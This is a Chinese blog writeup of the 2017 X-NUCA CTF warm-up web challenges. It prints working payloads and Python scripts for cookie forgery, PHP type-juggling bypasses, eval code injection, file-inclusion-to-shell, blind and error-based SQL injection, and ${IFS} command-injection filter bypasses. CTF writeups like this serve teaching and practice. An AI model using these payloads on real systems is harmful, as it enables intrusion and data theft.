美文网首页Writeup
[2017X-nuca] 赛前热身Writeup

[2017X-nuca] 赛前热身Writeup

作者: Pr0ph3t | 来源:发表于2017-08-14 16:38 被阅读224次

    捉迷藏

    进去之后查看源码:

    sourceCode

    发现有隐藏链接:Index.php (Linux中对url大小写敏感)
    手动输入后发现被跳转回来
    于是在命令行使用curl工具逃逸跳转(curl默认不跟随跳转)

    poc
    • Payload: curl http://218.76.35.75:20111/Index.php

    简单的问答

    sourceCode

    分析form后提交post(工具:HackBar)
    PS:后台估计是没有处理q4字段,直接处理q3字段了

    • Payload:
      url -> http://218.76.35.75:20112
      Post Field -> q1=2016&q2=lol&q3=22&success=true

    后台后台后台

    • 题目url:http://218.76.35.75:20113/
      进去之后只有一个Enter按钮可被操作,
      目的是获得admin权限
      观察到Response有新Cookie被set,
    Cookie

    Member疑似Base64,Decode后发现是Normal,猜测这是基于Cookie的Auth,直接在浏览器控制台修改Cookie后点击Enter后获得Flag。

    • Payload:
      document.cookie="User=admin"
      document.cookie="Member=QWRtaW4=" <--这是Admin字符串的base64 Encode

    PHP是最好的语言

     <?php
    show_source(__FILE__);
    $v1=0;$v2=0;$v3=0;
    $a=(array)json_decode(@$_GET['foo']);
    if(is_array($a)){ //foo反序列化后必须为数组或者能强制转换为数组
        is_numeric(@$a["bar1"])?die("nope"):NULL; //foo中包含一个k为bar1,v不能为数字的kv对
        if(@$a["bar1"]){
            ($a["bar1"]>2016)?$v1=1:NULL; 
            //此v必须大于2016,这里用到了PHP的一个弱类型特点,在PHP中,当'2017aaaaabbbb' 与数字2016比较时,PHP会尝试把前者转换成数字,故前者会被转换成2017,这与(int)'2017asdadasd' = 2017是符合的,看下面[图1]
        }
        if(is_array(@$a["bar2"])){ //foo中必须含有一个k为bar2,v为数组的kv对
            if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope");
            //bar2的v中的数组元素必须等于5个,并且第一个元素必须还是为数组
            $pos = array_search("nudt", $a["a2"]);
            $pos===false?die("nope"):NULL;
            //foo中必须包含一个k为a2,v为nudt的kv对(我觉得出题人这里是想出成bar2中必须包含一个v为nudt的kv对)
            foreach($a["bar2"] as $key=>$val){
                $val==="nudt"?die("nope"):NULL;
                //bar2里面的元素不允许包含nudt字符串
            }
            $v2=1;
        }
    }
    $c=@$_GET['cat'];
    $d=@$_GET['dog'];
    if(@$c[1]){
        if(!strcmp($c[1],$d) && $c[1]!==$d){
            eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
            strpos(($c[0].$d), "htctf2016")?$v3=1:NULL;
            //这里利用了eregi会被%00截断的特点构造payload绕过检测
        }
    }
    if($v1 && $v2 && $v3){
        include "flag.php";
        echo $flag;
    }
    ?>
    
    • Payload:http://218.76.35.75:20114/?foo={"bar1":"2017Pr0ph3t","bar2":[[""],"","","",""],"a2":["fuck","nudt"]}&cat[0]=%00�htctf2016&cat[1][]=1&dog=222
    图1

    Login

    • 题目url:http://218.76.35.75:20115/
      进去之后随便点点观察到Url为?page=xxx,很有可能是文件包含,直接试一波php伪协议, php://filter/convert.base64-encode/resource=main发现可以,遂读取页面源码
      ----------- index.php ----------
    <?php
    $pwhash="ffd313052dab00927cb61064a392f30ee454e70f";
    
    if (@$_GET['log']) {
        if(file_exists($_GET['log'].".log")){
            include("flag.txt");
    }
    }
    if(@$_GET['page'] != 'index'){
        include((@$_GET['page']?$_GET['page'].".php":"main.php"));
    }
    
    ?>
    

    ----------- main.php ----------

    <html>
        <head>
            <title>trolol</title>
        </head>
        <body>
            <center>
                <a href="./?page=main">main</a>
                <a href="./?page=info">server info</a>
                <a href="./?page=login">login</a>
            </center>
        </body>
    </html>
    

    ----------- login.php ------------

    <?php
    $login=@$_POST['login'];
    $password=@$_POST['password'];
    if(@$login=="admin" && sha1(@$password)==$pwhash){
        include('flag.txt');
    }else if (@$login&&@$password&&@$_GET['debug']) {
        echo "Login error, login credentials has been saved to ./log/".htmlentities($login).".log";
        $logfile = "./log/".$login.".log";
        file_put_contents($logfile, $login."\n".$password);
    } 
    ?>
        <center>
            login<br/><br/>
            <form action="" method="POST">
                <input name="login" placeholder="login"><br/>
                <input name="password" placeholder="password"><br/><br/>
                <input type="submit" value="Go!">
            </form>
        </center>
    

    这一题比较迷。。因为题目逻辑貌似是直接随便包含一个log文件就能出flag。。
    基本思路是,登陆带debug生成log然后在index.php里发log的参数。。
    但是其实这一题估计是出题人改崩了。。。
    王师傅有更6的解题思路。。。(我觉得这应该是正确的)。。
    详情请移步http://www.jianshu.com/p/fd9f38753078


    简单的文件上传

    • 题目url:http://218.76.35.75:20122
      中规中矩的上传检测,后台检测后缀和MIME类型,要求是php后缀并且MIME是jpg,直接F12截包修改MIME得到flag

    简单的JS

    <script> 
    p="60,105,102,114,97,109,101,32,104,101,105,103,104,116,61,48,32,119,105,100,116,104,61,48,32,115,114,99,61,34,46,47,
    102,108,48,97,46,112,104,112,34,62"
    p=eval("String.fromCharCode("+p+")"); 
    document.write(p);
    </script> 
    

    在控制台解码后为

    <iframe height=0 width=0 src="./fl0a.php">
    

    访问http://218.76.35.75:20123/fl0a.php后查看cookie得到flag


    PHP是一门松散的语言


    简单的文件包含

    • 题目url:http://218.76.35.75:20126
      题目描述是:flag在/flag里
      打开页面随便点开一个page发现url疑似包含,伪协议不能用,所以根据题目描述把参数改成?page=/flag后在源码中可以得到下一个文件的名字,访问那个文件得到flag

    简单的验证

    • 题目url:http://218.76.35.75:20127
      根据题目描述得知我们要变成admin才有权限看flag
      页面并没有啥有用信息,查看cookie得到user和guess,看来又是一题基于cookie的Auth,因为是guess,所以可以猜到是爆破,直接上脚本:
    #coding:utf8
    import requests
    
    se = requests.Session()
    
    # -------- 简单的验证
    for x in xrange(0,1000):
        res = se.get('http://218.76.35.75:20127/index.php',cookies={'user':'admin','guess':'%d' % x})
        print '[*] Trying ' + str(x)
        if 'not' not in res.content:
            print '[*] The guess num is ' + str(x)
            print '[*] Content----------'
            print res.content
            exit()
    
    poc

    GG

    • 题目url:http://218.76.35.75:65380/
      进去以后是一个俄罗斯方块(我还玩了一下233333)
      玩的过程中并没有在请求里面发现于后台的交互,这是前端题?
      查看美化后的JS,发现有个地方比较奇怪
    奇怪的地方

    这里貌似是明示了一个js文件,名字是e100.js
    访问一下发现是久违的jsFuck,直接丢进控制台就alert出flag了


    Reappear

    • 题目url:http://218.76.35.75:65180/
      进去以后发现是kindeditor,访问有文件遍历漏洞的php发现能用,看到attached文件夹下有flag_clue.php,访问之后发现疑似倒着的base64,python切片走一波,得到结果再base64解码后出flag
    poc
    • Payload:http://218.76.35.75:65180/kindeditor/php/file_manager_json.php?path=/

    DrinkCoffee

    • 题目url:http://218.76.35.75:65280/
      进去以后有Hint: Find the password to submit, but you should come from http://www.iie.ac.cn and your IP must be 10.10.20.1
      并在Response header发现有password
      那很清晰就是修改http header了,这里推荐一个火狐的插件叫:Modify Header
      修改Referer为http://www.iie.ac.cn,X-Forward-for为10.10.20.1 ,然后把password拿到md5解密网站查找一下,找到密码为cafe,直接post上去即可拿到flag

    Default

    • 题目url:http://218.76.35.74:20131
      进去以后啥都没有,根据提示开扫描器直接骚(立个flag,自己写一个扫描器)
      骚到index2.php
      访问之后发现有源码,是一个代码注入
    <?php 
    
    include "flag2.php";
    error_reporting(0);
    show_source(__FILE__);
    
    $a = @$_REQUEST['hello'];
    eval("var_dump($a);"); 
    

    直接上Payload

    • Payload:http://218.76.35.74:20131/index2.php?hello=);show_source('flag2.php'

    Vote

    • 题目url:http://218.76.35.75:65080/
      进去以后顺手扫一波,这里推荐一下自家的扫描器,介绍在下一篇文章
      扫出备份文件, .index.php.swp后下载查看源码(不知道为什么这里vim -r无法修复文件,所以直接hexdump -C把能读的弄了出来,再用python切片倒叙一下再整理一下逻辑就有了大概的源码了。
    #coding:utf8
    
    raw = '''echo '<br><a href="index.php">goBack</a><br>';
    echo '</table>';
    echo '<td>'.$arr[0].'</td><td>'.round($arr[1], 2).'</td></tr>';
    $arr = mysql_fetch_array(mysql_query("SELECT COUNT(value), AVG(value) FROM t_vote WHERE id = ".$r['id']));
    echo '<tr><td>'.$arr[0].'</td>';
    $arr = mysql_fetch_array(mysql_query("SELECT title FROM t_picture WHERE id = ".$r['id']));
    while ($r = mysql_fetch_array($q)) {
        echo '<tr><th>Logo</th><th>Total votes</th><th>Average</th></tr>';
        echo '<table border="1">';
        echo '<p><b>Thank you!</b> Results:</p>';
        
        
        $q = mysql_query("SELECT id FROM t_vote WHERE user = '{$login}' GROUP BY id");
        $q = mysql_query("INSERT INTO t_vote VALUES ({$id}, {$vote}, '{$login}')");
        $vote = 1;
        if ($vote > 5 || $vote < 1) $vote = (int) $_POST['vote'];
        $id = $_POST['id'];
        die('please select ...');
        if (!isset($_POST['id'], $_POST['vote']) || !is_numeric($_POST['id'])) if (isset($_POST['submit'])) {
            $login = $_SESSION['login'];
        }
        $_SESSION['login'] = 'guest'.mt_rand(1e5, 1e6);
        if (!isset($_SESSION['login'])) {
            session_start();
            include 'db.php'; < ?'''
    
    arr = raw.split('\n')
    print '\n'.join(arr[::-1])
    

    得出大概的源码

    <? 
    include 'db.php'; 
    session_start();
    if (!isset($_SESSION['login'])) {
        $_SESSION['login'] = 'guest'.mt_rand(1e5, 1e6);
    }
    $login = $_SESSION['login'];
    if (!isset($_POST['id'], $_POST['vote']) || !is_numeric($_POST['id'])) if (isset($_POST['submit'])) {
        die('please select ...');
    }
    $id = $_POST['id'];
    if ($vote > 5 || $vote < 1) $vote = (int) $_POST['vote'];
    $vote = 1;
    $q = mysql_query("INSERT INTO t_vote VALUES ({$id}, {$vote}, '{$login}')");
    $q = mysql_query("SELECT id FROM t_vote WHERE user = '{$login}' GROUP BY id");
    
    
    echo '<p><b>Thank you!</b> Results:</p>';
    echo '<table border="1">';
    echo '<tr><th>Logo</th><th>Total votes</th><th>Average</th></tr>';
    while ($r = mysql_fetch_array($q)) {
        $arr = mysql_fetch_array(mysql_query("SELECT title FROM t_picture WHERE id = ".$r['id']));
        echo '<tr><td>'.$arr[0].'</td>';
        $arr = mysql_fetch_array(mysql_query("SELECT COUNT(value), AVG(value) FROM t_vote WHERE id = ".$r['id']));
        echo '<td>'.$arr[0].'</td><td>'.round($arr[1], 2).'</td></tr>';
    }
    echo '</table>';
    echo '<br><a href="index.php">goBack</a><br>';
    

    可以审计代码发现疑似是二次注入,利用的是id字段,这里有个小技巧就是利用hex来绕过is_numeric的检测
    经过测试是没问题的,但是猜测可能id字段长度有限。。。。所以去information_schema.tables里面注入不了东西 被截断了
    然后只能猜表名了。。。
    最后猜到是t_flag表 字段为flag

    poc

    最后吐槽一下这题提示有点少。。。。。


    Document

    • 题目url:http://218.76.35.74:20129
      进去之后查看源码发现有inlude.php提示
      进去include.php查看源码发现此文件有file参数和有upload.php的提升
      猜测这个文件是用来文件包含的,进去upload.php发现是个上传,那问题很清晰了, upload.php上传shell-->include.php包含执行命令的文件-->getshell

    • 然后测试include.php发现php伪协议是可以用的
      读取源码
      upload.php

    <form action="" enctype="multipart/form-data" method="post" 
    name="upload">file:<input type="file" name="file" /><br> 
    <input type="submit" value="upload" /></form>
    
    <?php
    if(!empty($_FILES["file"]))
    {
        echo $_FILES["file"];
        $allowedExts = array("gif", "jpeg", "jpg", "png");
        @$temp = explode(".", $_FILES["file"]["name"]);
        $extension = end($temp);
        if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")
        || (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")
        || (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))
        && (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))
        {
            move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
            echo "file upload successful!Save in:  " . "upload/" . $_FILES["file"]["name"];
        }
        else
        {
            echo "upload failed!";
        }
    }
    ?>
    

    include.php

    <html>
    Tips: the parameter is file! :) 
    <!-- upload.php -->
    </html>
    <?php
        @$file = $_GET["file"];
        if(isset($file))
        {
            if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
            {
                echo "<p> error! </p>";
            }
            else
            {
                include($file.'.php');
            }
        }
    ?>
    

    发现并没有过滤zip或者phar协议
    可以选择上传压缩包并用伪协议解压

    这题有点坑的是不知道是谁写了个假flag在upload里面。。大家改得不亦悦乎23333333
    我以为flag已经被改掉了

    结果最后还是自己太菜了。。。
    命令上find / | grep flag
    能在/etc/.sshkey/flag.txt下找到flag
    23333还是挺好玩的


    阳光总在风雨后

    • 题目url:http://218.76.35.74:20130
      进去以后是个简单的登陆界面,扫一扫发现有admin目录(再次打广告 我刚刚撸的一个扫描器不错 在下一篇文章有介绍)然后就猜测是要注入登陆进去,日常输入admin、admin后发现提示密码错误,那就很明显是一个盲注了,然后这题还过滤了很多字符

    如:and、or、|、空格、union、information、.....
    这题有点坑。。过滤了information....也就是说表名要自己猜。。
    最后猜到是admin
    直接上脚本

    #coding:utf8
    import requests
    
    se = requests.Session()
    
    payload = '1\'%%(ascii(mid((select(group_concat(passwd))from(admin))from(%d)))=%d)%%\'1'
    passwd = ''
    
    for x in xrange(1,34):
        for y in xrange(33,127):
            res = se.post('http://218.76.35.74:20130/login.php',data={'uname':payload % (x,y), 'passwd' : 'fuck'})
            if 'password error!!' in res.content:
                print chr(y)
                passwd += chr(y)
                break
            else:
                print payload % (x,y)
        print '[*] passwd = ' + passwd
    print '[*] passwd = ' + passwd
    

    跑出来密码是:
    50f87a3a3ad48e26a5d9058418fb78b5

    去cmd5碰撞

    result

    拿admin、shuangshuang登陆进去之后是一个命令执行的界面

    命令执行

    ls一下发现只有index.php
    ls ../admin发现没有结果
    猜测是把空格过滤了,试试系统变量${IFS}可以绕过,然后尝试读取上一级目录发现只有login.php回显,不对劲,因为上一级目录是肯定存在index.php的,这里猜测是后台只截取了最后一行的输出,那这里可以使用head命令输出第一行
    命令执行绕过http://blog.csdn.net/qq_27446553/article/details/73927518

    这里偷个懒直接写脚本了。。

    #coding:utf8
    import requests
    import re
    
    se = requests.Session()
    cookie = {'PHPSESSID' : '5cpbv7knav0mfshnmn5a2u3ku4'}
    url = 'http://218.76.35.74:20130/admin/index.php'
    
    for x in xrange(1,30):
        payload = r'find${IFS}/${IFS}|grep${IFS}flag|head${IFS}-n${IFS}' + str(x)
        res = se.post(url,cookies=cookie,data={'ord' : payload})
        feedback = re.findall(r'<div class="login-content">.*<p>(.*)</br>命令执行完成!.*',res.content, re.M|re.S)
        print feedback[0].strip()
    
    flag

    这个有点可疑
    cat之后出flag

    poc

    试试XSS

    poc1 poc2

    这题要吐槽的是下面的payload不行。。。??why???

    ' onerror='alert(document.domain)'


    http头注入

    • 题目url:http://218.76.35.75:20121
      进去之后又提示,修改http头,点击link进入之后Fuzz出Referer存在注入,估计是insert的注入,一般来说是基于时间的盲注和报错注入,这里我选择比较简单快捷的报错注入,具体payload估计已经烂大街了,如下:
    http://1' || 1=(updatexml(1,concat(0x3a,(查询语句)),1)) || '
    

    结果如下:
    库名:http://1' and 1=(updatexml(1,concat(0x3a,(select database())),1)) and '
    ctfweb20110
    表名:http://1' and 1=(updatexml(1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema = 'ctfweb20110')),1)) and '
    flag,visits
    字段名:http://1' and 1=(updatexml(1,concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_name = 'flag')),1)) and '
    id,flag
    查flag:http://1' and 1=(updatexml(1,concat(0x3a,(select flag from flag)),1)) and '


    最安全的笔记管理系统


    ......
    待更新

    相关文章

      网友评论

        本文标题:[2017X-nuca] 赛前热身Writeup

        本文链接:https://www.haomeiwen.com/subject/uwzyrxtx.html